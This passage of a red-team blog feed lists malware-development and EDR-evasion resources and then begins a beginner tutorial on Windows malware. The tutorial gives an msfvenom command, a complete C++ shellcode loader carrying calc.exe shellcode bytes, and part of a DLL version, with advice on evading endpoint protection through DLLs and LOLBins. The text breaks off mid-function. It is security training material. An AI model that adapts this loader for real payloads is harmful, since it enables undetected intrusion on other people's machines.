  <li><a href="https://maldevacademy.com/">Maldev Academy</a>: Extremely thorough course that continuously gets updates as of 2024 and is backed by some known names in the industry. Very affordable with various pricing models. Can also be used as reference material since there’s tons of useful content depending on what you’re trying to do.</li>
</ul>

<h3 id="certifications">Certifications</h3>
<ul>
  <li><a href="https://training.zeropointsecurity.co.uk/courses/red-team-ops">CRTO</a>: Red Team Ops (RTO) and RTO2 courses/certifications from Zero-Point Security (<a href="https://twitter.com/_RastaMouse">@_RastaMouse</a>).</li>
  <li><a href="https://www.offsec.com/courses/pen-300/">OSEP</a>: The OSEP course and cert is the closest Offensive Security course in terms of learning and applying malware development. Note that there is no malware development component in the OSCP at this time.</li>
</ul>

<h3 id="sites">Sites</h3>
<ul>
  <li><a href="https://github.com/vxunderground/VX-API/tree/main/VX-API">VX-Underground - VX-API code</a></li>
  <li><a href="https://vx-underground.org/Papers/Windows">VX-Underground - Windows Papers</a></li>
  <li><a href="https://lolbas-project.github.io/">LOLBAS / LOLBin Project</a></li>
  <li><a href="https://hijacklibs.net/">Hijack Libs</a> - DLL hijacking library</li>
  <li><a href="https://www.pinvoke.dev/">PInvoke.dev</a> - PInvoke function documentation</li>
</ul>

<h3 id="blogs">Blogs</h3>
<ul>
  <li><a href="https://www.ired.team/">ired.team</a></li>
  <li><a href="https://cocomelonc.github.io/">cocomelonc</a></li>
  <li><a href="https://captmeelo.com/">Capt. Meelo</a></li>
  <li><a href="https://vanmieghem.io/blueprint-for-evading-edr-in-2022/">A Blueprint for Evading EDR in 2022</a></li>
</ul>

<h3 id="books">Books</h3>
<ul>
  <li><a href="https://nostarch.com/evading-edr">Evading EDR</a>: One of the first, if not the first, book on malware and EDR evasion.</li>
  <li><a href="https://nostarch.com/evasive-malware">Evasive Malware</a>: Newer but similar book on creating advanced malware.</li>
  <li><a href="https://nostarch.com/grayhatcsharp">Gray Hat C#</a>: More for tool dev instead of C# malware, but still relevant.</li>
  <li><a href="https://www.amazon.ca/Windows-Internals-Part-architecture-management/dp/0735684189">Windows Internals</a>: Not required reading but can be useful as reference material as you get more into low-level malware dev.</li>
  <li><a href="https://nostarch.com/windows-security-internals">Windows Security Internals</a>: Windows Internals book by James Forshaw.</li>
</ul>]]></content><author><name>{&quot;name&quot;=&gt;nil, &quot;avatar&quot;=&gt;nil, &quot;bio&quot;=&gt;&quot;red teaming | malware dev&quot;, &quot;location&quot;=&gt;&quot;Canada&quot;, &quot;links&quot;=&gt;[{&quot;label&quot;=&gt;&quot;Twitter/X&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-twitter-square&quot;, &quot;url&quot;=&gt;&quot;https://x.com/bsummerz&quot;}, {&quot;label&quot;=&gt;&quot;GitHub&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-github&quot;, &quot;url&quot;=&gt;&quot;https://github.com/wsummerhill&quot;}]}</name></author><category term="redteam" /><summary type="html"><![CDATA[Malware Development Introduction (aka Malware Dev 101), Part 2 - Evasion Basics]]></summary></entry><entry><title type="html">Malware Development Introduction aka Malware Dev 101 - Part 1</title><link href="https://wsummerhill.github.io/redteam/2024/02/06/Malware-Development-Introduction-Part1.html" rel="alternate" type="text/html" title="Malware Development Introduction aka Malware Dev 101 - Part 1" /><published>2024-02-06T00:00:00+00:00</published><updated>2024-02-06T00:00:00+00:00</updated><id>https://wsummerhill.github.io/redteam/2024/02/06/Malware-Development-Introduction-Part1</id><content type="html" xml:base="https://wsummerhill.github.io/redteam/2024/02/06/Malware-Development-Introduction-Part1.html"><![CDATA[<h2 id="malware-development-introduction-aka-malware-dev-101-part-1">Malware Development Introduction (aka Malware Dev 101), Part 1</h2>

<p>Welcome to the first Part of the malware development introduction series! For Part 2 of this series please see the following link:<br /></p>

<p><a href="https://wsummerhill.github.io/redteam/2024/11/26/Malware-Development-Introduction-Part2.html">Malware Development Introduction - Part 2</a></p>

<p>Getting into malware development can be a daunting task. Knowing where and how to get started isn’t always that obvious as there are tons of resources out there (both free and paid) but little information on what to start with or focus on first.<br /></p>

<p>The idea of this post is to help make it a bit easier for people starting in malware development by sharing some general direction, tips, and resources I personally have used and found very useful throughout my experiences.<br /></p>

<p>The overall goal of our malware development efforts is typically to execute <em>shellcode</em> which we can use to gain an initial foothold in an environment and perform post-exploitation activites. Our objective is to obfuscate our payloads and <em>shellcode</em> in a way that bypass endpoint security protections (more on this later) to establish that initial foothold undetected.<br /></p>

<p>Now what actually is <strong>shellcode</strong>? It is generally a small piece of code used to execute some type of task on a computer. Shellcode is typically written in <a href="https://en.wikipedia.org/wiki/Assembly_language">Assembly Language</a> (ASM) and can be encoded in hexadecimal format for our application. In this case, we’ll use it to launch a small program such as <code class="language-plaintext highlighter-rouge">calc.exe</code>. If you’re interested in seeing what ASM looks like, check out <a href="https://wsummerhill.github.io/2018/02/02/SLAE-assignment-1.html">this link</a> on my blog.<br />
In a real environment we’d be creating and using shellcode that launches a C2 Beacon such as <a href="https://www.cobaltstrike.com/product/features">Cobalt Strike</a>), but lets just stick to learning the funadamentals for now on how to actually execute shellcode.</p>

<h2 id="part-1-content-overview">Part 1 Content Overview</h2>

<ul>
  <li><a href="#coding-languages">Coding Languages</a></li>
  <li><a href="#setting-up-your-environment">Setting up your Environment</a></li>
  <li><a href="#malware-dev-101">Malware Dev 101</a></li>
</ul>

<hr />
<h3 id="coding-languages">Coding Languages</h3>

<p>It helps to have even a small programming background before getting into malware development, but just know that it isn’t an absolute requirement. If not being a  coder is what’s holding you back from getting into malware dev then forget about that and just dive right in. Sure it will help you later on as you become more intermediate and advanced, but to get started you can get by with basic understanding of coding.<br /></p>

<p>For the sake of this post, we will walk through different code samples using both C++ and C# as these are two of the most common and well-documented malware development languages. It also greatly helps us to work in object-oriented programming languages since it will be much easier to interact with the operating system functions (i.e. Win32 API). Newer languages like <a href="https://go.dev/">Go</a> and <a href="https://www.rust-lang.org/">Rust</a> are gaining populatity in malware dev, but for the sake of learning fundamentals we’ll stick to C-based low-level languages.</p>

<p><em>Note: In this post we’re only going to be covering Windows malware development.</em><br /></p>

<h4 id="general-coding-resources">General Coding Resources</h4>
<ul>
  <li><a href="https://researchcomputing.princeton.edu/education/external-online-resources/cplusplus">C++ Learning Resources</a></li>
  <li><a href="https://cplusplus.com/">cplusplus.com</a></li>
  <li><a href="https://www.codecademy.com/learn/learn-c-plus-plus">CodeAcademy: Learn C++</a></li>
  <li><a href="https://dotnet.microsoft.com/en-us/learn/csharp">Microsoft: Learn C#</a></li>
  <li><a href="https://www.codecademy.com/learn/learn-c-sharp">CodeAcademy: Learn C#</a></li>
</ul>

<hr />
<h2 id="setting-up-your-environment">Setting up your Environment</h2>

<p>In order to write and compile our malware on Windows, one of the easiest ways is to install and use <a href="https://visualstudio.microsoft.com/">Visual Studio</a>. The free version we could use is called <em>Visual Studio Community</em>. While installing your Visual Studio environment, you will have the ability to add new “Workloads” which can allow you to compile C++ and C# w/ Visual Basic (.NET desktop) development environments. Throughout this post we’ll be using both C++ and C#, so if you’re following along then having these setup first will be essential.<br /></p>

<p>You can of course program malware from a Linux OS GNU C/C++ Compiler (<code class="language-plaintext highlighter-rouge">gcc</code>) if you want to. Or on Windows using the <code class="language-plaintext highlighter-rouge">cl.exe</code> binary as part of Visual Studio to compile C++ programs or <code class="language-plaintext highlighter-rouge">csc.exe</code> to compile <a href="https://learn.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/">C#/.NET applications</a>. To keep things simple, we’ll use Visual Studio to compile C++ programs and the <code class="language-plaintext highlighter-rouge">csc.exe</code> compiler to compile C# programs. See a screenshot below of my Visual Studio installation.</p>

<p><img src="/assets/images/maldev101/VS-environment-installs.png" alt="VS-environment-installs" width="850" height="400" /></p>

<hr />
<h2 id="malware-dev-101">Malware Dev 101</h2>

<p>Let’s get started with some hands-on work and our first program! We need to have a basic understanding of the requirements needed to launch shellcode in our first malicious program. In order to execute shellcode, we have to familiarize ourselves with the <a href="https://learn.microsoft.com/en-us/windows/win32/api/">Win32 API</a>. Using the Win32 API allows us to interact with backend features of the Windows operating system.<br /></p>

<p>The main Windows API functions we need to execute shellcode are as follows:</p>
<ol>
  <li><a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc"><strong>VirtualAlloc</strong></a>: This is our initial function used to allocate space in memory where we are going to place our shellcode and should be equivalent to the size of the shellcode.</li>
  <li><a href="https://learn.microsoft.com/en-us/windows/win32/devnotes/rtlmovememory"><strong>RtlMoveMemory</strong></a> or <a href="https://en.cppreference.com/w/cpp/string/byte/memcpy"><strong>memcpy</strong></a> (C/C++) / <a href="https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.copy?view=net-8.0"><strong>Marshal.Copy</strong></a> (C#): These functions are used to copy memory from one source (our shellcode) to a target destination, which will be the address we just allocated for our shellcode using <strong>VirtualAlloc</strong>.</li>
  <li><a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect"><strong>VirtualProtect</strong></a>: This function is used to change the protections on a region of memory, and in our case to make the shellcode region Executable.</li>
  <li><a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread"><strong>CreateThread</strong></a> and <a href="https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject"><strong>WaitForSingleObject</strong></a>: <strong>CreateThread</strong> is used to create a new thread in the current process that’s pointing to the start of our shellcode. <strong>WaitForSingleObject</strong> is called after CreateThread to delay execution until the previous thread completes, which our case is required to wait until the shellcode execution finishes (or the process is killed/dies).<br /></li>
</ol>

<p>I definitely suggest taking a look at each function link from above to read some of the documentation, understand what each function is used for, and the argument syntax.<br /></p>

<p>Now that we are familiar with the Windows API functions required, next we need to create shellcode to execute. For the sake of testing, we’re just going to use basic shellcode that launches <code class="language-plaintext highlighter-rouge">calc.exe</code> to pop the Windows calculator and show our execution worked. To create this shellcode, we could use <a href="https://www.offsec.com/metasploit-unleashed/msfvenom/">MSFvenom</a> from Metasploit that comes packaged with <a href="https://www.kali.org/">Kali Linux</a>, or use an existing calc.bin shellcode from online (i.e. <a href="https://www.exploit-db.com/shellcodes/51634">exploit-db</a>). <br />
If you have Kali OS handy, you can create your own shellcode with the following command for a 64-bit Windows OS:<br /></p>

<p><code class="language-plaintext highlighter-rouge">msfvenom -p windows/x64/exec CMD="calc.exe" -f raw -o calc.bin</code></p>

<p>Once you have the <code class="language-plaintext highlighter-rouge">calc.bin</code> output file, you will need to get the hex contents of the file by using something like <a href="https://gchq.github.io/CyberChef">CyberChef</a>. There are many other popular ways to do this, but this is one of the easy methods. In CyberChef, add your shellcode input file into the top-right box, select “<strong>To Hex</strong>” as your Recipe, and then modify the delimeter to make it in an easy format useful for our code such as <code class="language-plaintext highlighter-rouge">\x</code> or <code class="language-plaintext highlighter-rouge">0x with comma</code> formats.</p>

<p><img src="/assets/images/maldev101/CyberChef-encoding.png" alt="CyberChef-encoding" width="650" height="500" /></p>

<p>Once you have your shellcode in hex format, we can copy it into our first piece of malware! To create your first C++ executable in Visual Studio, open the app and click <strong>New Project -&gt; Language = C++ -&gt; Select “Console App”</strong>. See example below.</p>

<p><img src="/assets/images/maldev101/visualstudio_cpp.png" alt="visualstudio_cpp" width="400" height="200" /></p>

<p>Here is the first C++ sample to launch shellcode:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
C++ Code - First piece of malware to execute calc.exe
*/</span>
<span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="c1">// Calc.exe shellcode</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
  <span class="mh">0xfc</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xe4</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xd2</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span>
  <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x0f</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span>
  <span class="mh">0x61</span><span class="p">,</span><span class="mh">0x7c</span><span class="p">,</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0x2c</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe2</span><span class="p">,</span><span class="mh">0xed</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x42</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span>
  <span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x80</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x85</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span>
  <span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xe3</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x34</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span>
  <span class="mh">0x41</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0x38</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0xf1</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x03</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x45</span><span class="p">,</span><span class="mh">0x39</span><span class="p">,</span><span class="mh">0xd1</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span>
  <span class="mh">0x66</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x0c</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x1c</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x5e</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span>
  <span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x12</span><span class="p">,</span><span class="mh">0xe9</span><span class="p">,</span><span class="mh">0x57</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span>
  <span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0x5d</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8d</span><span class="p">,</span><span class="mh">0x8d</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x6f</span><span class="p">,</span>
  <span class="mh">0x87</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span><span class="p">,</span><span class="mh">0xbb</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x1d</span><span class="p">,</span><span class="mh">0x2a</span><span class="p">,</span><span class="mh">0x0a</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0xa6</span><span class="p">,</span><span class="mh">0x95</span><span class="p">,</span><span class="mh">0xbd</span><span class="p">,</span><span class="mh">0x9d</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xc4</span><span class="p">,</span><span class="mh">0x28</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x06</span><span class="p">,</span><span class="mh">0x7c</span><span class="p">,</span><span class="mh">0x0a</span><span class="p">,</span><span class="mh">0x80</span><span class="p">,</span>
  <span class="mh">0xfb</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0x05</span><span class="p">,</span><span class="mh">0xbb</span><span class="p">,</span><span class="mh">0x47</span><span class="p">,</span><span class="mh">0x13</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x6f</span><span class="p">,</span><span class="mh">0x6a</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span><span class="p">,</span><span class="mh">0x63</span><span class="p">,</span><span class="mh">0x61</span><span class="p">,</span><span class="mh">0x6c</span><span class="p">,</span><span class="mh">0x63</span><span class="p">,</span><span class="mh">0x2e</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x78</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x00</span>
<span class="p">};</span>

<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">shellcode_len</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

<span class="kt">int</span> <span class="n">main</span><span class="p">()</span>
<span class="p">{</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">exec_buffer</span><span class="p">;</span> <span class="c1">// memory buffer for shellcode</span>
    <span class="n">BOOL</span> <span class="n">rv</span><span class="p">;</span>
    <span class="n">HANDLE</span> <span class="n">th</span><span class="p">;</span>
    <span class="n">DWORD</span> <span class="n">oldprotect</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="c1">// 1. Allocate buffer for shellcode</span>
    <span class="n">exec_buffer</span> <span class="o">=</span> <span class="n">VirtualAlloc</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">shellcode_len</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>

    <span class="c1">// 2. Copy shellcode to buffer</span>
    <span class="n">RtlMoveMemory</span><span class="p">(</span><span class="n">exec_buffer</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcode_len</span><span class="p">);</span>

    <span class="c1">// 3. Make the buffer executable</span>
    <span class="n">rv</span> <span class="o">=</span> <span class="n">VirtualProtect</span><span class="p">(</span><span class="n">exec_buffer</span><span class="p">,</span> <span class="n">shellcode_len</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READ</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">oldprotect</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">rv</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// 4. Run the payload</span>
        <span class="n">th</span> <span class="o">=</span> <span class="n">CreateThread</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">exec_buffer</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
        <span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">th</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Once you compile the program and there are no errors, there should be an EXE in the output directory which will be our payload. Double-click the EXE to confirm the payload works and <code class="language-plaintext highlighter-rouge">calc.exe</code> gets launched! If there are compiling errors, it is likely due to your environment setup missing installations required for C++.</p>

<h2 id="exe-vs-dll-payload">EXE vs DLL Payload</h2>

<p>Executables (<code class="language-plaintext highlighter-rouge">.exe</code> files) are typically more likely to get scrutinzed by AV/EDR solutions, but not always. Instead of using EXE’s we can compile a malicious Dynamic-Link Library (<code class="language-plaintext highlighter-rouge">.dll</code>) and use a different method to somehow execute it which will be more likely to blend in with operating system behaviour. Living off the land Binaries (aka <a href="https://lolbas-project.github.io/">LOLBins</a>) can be used to launch our compiled DLL depending using different execution methods.<br />
<em>Note that using DLLs are often a more realistic way for us to launch our code by blending in with legitimate operating system processes and network activity.</em></p>

<h3 id="c-dll-payload">C++ DLL Payload</h3>
<p>To create a DLL in C++ with Visual Studio, go to <strong>New Project -&gt; Language = C++ -&gt; Select “Dynamic Link Library (DLL)”</strong>.<br />
Below is an example of our initial C++ payload which we’ve modified to a DLL:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
  <span class="o">&lt;</span><span class="n">SHELLCODE</span> <span class="n">BYTES</span> <span class="o">-</span> <span class="n">Removed</span> <span class="k">for</span> <span class="n">brevity</span><span class="o">&gt;</span>
<span class="p">};</span>

<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">shellcode_len</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

<span class="n">DWORD</span> <span class="n">WINAPI</span> <span class="n">ShellcodeRunner</span><span class="p">(</span><span class="n">LPVOID</span> <span class="n">lpParameter</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">exec_buffer</span><span class="p">;</span> <span class="c1">// memory buffer for shellcode</span>
    <span class="n">BOOL</span> <span class="n">rv</span><span class="p">;</span>
    <span class="n">HANDLE</span> <span class="n">th</span><span class="p">;</span>
    <span class="n">DWORD</span> <span class="n">oldprotect</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="c1">// 1. Allocate buffer for shellcode</span>
    <span class="n">exec_buffer</span> <span class="o">=</span> <span class="n">VirtualAlloc</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">shellcode_len</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>

    <span class="c1">// 2. Copy shellcode to buffer</span>
    <span class="n">RtlMoveMemory</span><span class="p">(</span><span class="n">exec_buffer</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcode_len</span><span class="p">);</span>

    <span class="c1">// 3. Make the buffer executable</span>
    <span class="n">rv</span> <span class="o">=</span> <span class="n">VirtualProtect</span><span class="p">(</span><span class="n">exec_buffer</span><span class="p">,</span> <span class="n">shellcode_len</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READ</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">oldprotect</span><span class="p">);</span>

